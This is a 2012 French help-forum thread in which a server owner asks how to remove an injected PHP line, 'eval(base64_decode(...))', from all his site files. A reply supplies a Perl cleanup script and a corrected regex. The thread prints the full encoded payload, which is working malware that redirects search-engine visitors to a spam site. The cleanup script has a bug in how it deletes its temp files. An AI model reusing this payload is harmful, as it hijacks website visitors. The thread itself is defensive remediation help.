Rechercher / Remplacer plusieurs fichiers linux

Fermé
sluminure - 14 nov. 2012 à 19:54
loupius Messages postés 697 Date d'inscription dimanche 1 novembre 2009 Statut Membre Dernière intervention 31 décembre 2017 - 15 nov. 2012 à 00:23
Bonjour,

Depuis deux semaines, j'ai un grave probleme sur un de mes serveurs.
En effet, tout les fichiers phpde mes sites hebergés dessus ont une ligne inserés automatiquement à chaque appel php.

<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9nb29nbGUuMndha3kuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));

//le code php normale.
?>
Il s'agit de base64 et en fait il semble s'agir d'une sorte de virus PHP qui redirige certains visiteurs sur un site de spam etc...
LA question c'est comment reussi t-il à s'intégrer dans tous les fichiers ?
J'ai modifié mes mdp ssh, cela ne semble pas venir des acces ftp(en regardant les logs) et cela concerne tous les fichiers php sur le serveur..
Je n'arrive pas à savoir d'ou cela vient.
Le truc c'est que j'ai modifié une fois les fichiers en enlevant la chaine mais aujourd'hui il a remis le code.. je ne sais pas comment.


Bon du coup, j'aimerais bien trouver un script en ligne de commande qui me permette de remplacer cette grand chaine la qui a plein de caractere bizarre par rien.

Avez-vous une suggestion ?

En vous remerciant,

Anselme



A voir également:

1 réponse

loupius Messages postés 697 Date d'inscription dimanche 1 novembre 2009 Statut Membre Dernière intervention 31 décembre 2017 148
14 nov. 2012 à 22:56
Voici un script en Perl qui supprime tes 'eval(base64_decode' de tous les fichiers '.php' du répertoire courant; toutefois il ne faut pas qu'il y ait des 'eval(base64_decode' à ne pas supprimer:
#!/usr/bin/perl -w
use strict;

my ($fich, $hand, $flag);

opendir ($hand, ".") || die "impossible d'ouvrir ".": $!";
while ($fich = readdir $hand)
  {
    if ( (-f "$fich") && (-T "$fich") && (-w "$fich") )
      {
        if ($fich=~m/\.php$/)
          {
            if (open (FLect, "$fich") && open (FEcrt, ">${fich}tmp"))
              {
                $flag = 0;
                while (<FLect>)
                  {
                    $flag = 1 if (/eval\(.*?\)/);
                    s/eval\(.*?\)//g;
                    print FEcrt;
                  }
                close (FLect);
                close (FEcrt);
                if ($flag)
                  { # La recherche a abouti -> Renommer le nouveau fichier
                    unlink "$fich";
                    rename "${fich}tmp", "$fich";
                  }
                else
                  { # La recherche n'a pas abouti -> Effacer nouveau fichier
                    unlink "${fich}zzz";
                  }
              }
          }
      }
  }
close ($hand);
Je ne suis pas très balaise en Perl; on peut, sans aucun doute faire beaucoup plus simple.
Bonne continuation
0
loupius Messages postés 697 Date d'inscription dimanche 1 novembre 2009 Statut Membre Dernière intervention 31 décembre 2017 148
15 nov. 2012 à 00:23
Je me suis trompé en recopiant, il faut évidemment mettre:
  $flag = 1 if (/eval\(base64_decode\(.*?\)\)/);
  s/eval\(base64_decode\(.*?\)\)//g;
Sans cette correction, cela fonctionnerait à condition de ne pas avoir d'autres 'eval'.
Mille excuses.
0